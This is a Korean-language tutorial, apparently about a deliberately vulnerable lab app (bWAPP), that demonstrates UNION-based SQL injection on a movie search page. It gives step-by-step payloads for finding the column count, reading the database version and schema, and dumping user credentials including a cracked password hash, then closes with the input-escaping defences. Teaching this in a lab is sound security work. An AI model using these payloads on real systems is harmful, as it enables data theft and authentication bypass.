SQL injection

- 입력값에 대한 검증을 하지 않을 경우 악의적인 SQL 쿼리를 삽입하여 데이터베이스의 정보를 탈취하거나 인증을 우회하는 공격 기법

- 영화를 검색하는 페이지이며, 아무 입력값 없이 Search를 누르면 모든 영화 목록들이 출력됨

- 해당 페이지에 SQL Injection 취약점 존재 여부를 확인하기 위해 '(작은따옴표) 입력 후 Search 클릭

* 데이터베이스에서는 '(작은따옴표)로 문자 데이터를 구분하기 때문

- 그 결과로 오류메세지가 출력되며, SQL Injection 취약점이 존재하는 것과 MySQL을 사용하는 것을 알 수 있음.

* 데이터베이스별 한줄 주석 : MySQL : # / Oracle : -- / MSSQL : -- / MariaDB : --, # / Sybase IQ : --, //, % / Sybase ASE : -- / DB2 : --

- 좀 더 자세한 정보를 알아내기 위해 UNION SELECT 구문을 사용

UNION문
① 두 개 이상의 SELECT 문을 결합하고자 할 때 사용
② 선행 쿼리의 SELECT 문의 컬럼 갯수와 후행 쿼리의 SELECT 문의 컬럼 갯수와 데이터 형식이 동일해야 함
③ 중복을 제거하여 출력 / UNION ALL은 중복을 제거하지 않고 모두 출력

- UNION 구문을 사용하기 위해서는 먼저 SELECT 문의 컬럼 갯수를 파악해야 하므로 다음 SQL 구문을 실행함

<수행 구문>

' UNION SELECT 1,2...#

<구문 분석>
' : 선행 질의문 종료
UNION : 선행 질의문과 후행 질의문 합치기
1,2,3 ... : 컬럼 갯수
# : MySQL 한줄 주석으로, 이후 구문들은 주석으로 처리되어 무시

' UNION SELECT 1# ------------------- 에러발생
' UNION SELECT 1,2# ----------------- 에러발생
' UNION SELECT 1,2,3# --------------- 에러발생
' UNION SELECT 1,2,3,4# ------------- 에러발생
' UNION SELECT 1,2,3,4,5# ----------- 에러발생
' UNION SELECT 1,2,3,4,5,6# --------- 에러발생
' UNION SELECT 1,2,3,4,5,6,7# ------- 정상실행

- 위의 결과를 통해 컬럼 갯수는 7개이며, 출력되는 컬럼 번호는 2, 3, 4, 5번인 것을 알 수 있음

- 이후, 2, 3, 4, 5번 칼럼 값에 시스템 변수 혹은 메타데이터를 적용해 데이터베이스에 대한 정보를 알 수 있음

 

① 데이터베이스 버전 확인

<수행 구문>

' UNION SELECT 1, @@version, 3, 4, 5, 6, 7#

* @@version : 데이터베이스 버전이 저장된 시스템 변수

② 테이블명 확인

<수행 구문>

' UNION SELECT 1, table_name, 3, 4, 5, 6, 7 FROM information_schema.tables #

<구문 분석>

1) table_name : 테이블 명

2) information_schema : MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB

3) information_schema.tables : information_schema 데이터베이스 내의 tables 테이블(생성된 모든 테이블 정보)

<전체 구문>

information_schema 데이터베이스의 tables 테이블의 테이블 이름을 두번째 컬럼에 출력

③ 테이블 정보 확인

<수행 구문>

' UNION SELECT 1, column_name, 3, 4, 5, 6, 7 FROM information_schema.columns WHERE table_name='users' #

<구문 분석>

1) column_name : 열이름

2) information_schema.columns : information_schema 데이터베이스 내의 columns 테이블(모든 스키마의 컬럼 확인)

3) table_name='users' : table_name(테이블 명)이 users인 테이블

<전체 구문>

information_schema 데이터베이스의 columns 테이블에서 테이블 이름이 users인 테이블의 column 이름을 두번째 컬럼에 출력

④ 계정 정보 확인

<수행 구문>

' UNION SELECT 1, id, login, secret, password, 6, 7 from users # 

<전체 구문>

users 테이블에서 id, login, secret, password 컬럼의 내용을 출력

* 출력되는 컬럼은 4개 이므로 추가로 출력을 원하는 컬럼이 있는 경우 "concat(첫번째컬럼, 두번째컬럼)"을 사용

* concat(str1, str2 ..) : 명시된 문자열을 병합하여 반환하는 함수

- bee 계정의 비밀번호(6885858486f31043e5839c735d99457f045affd0 -> bug)를 알 수 있음

 

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

+ Recent posts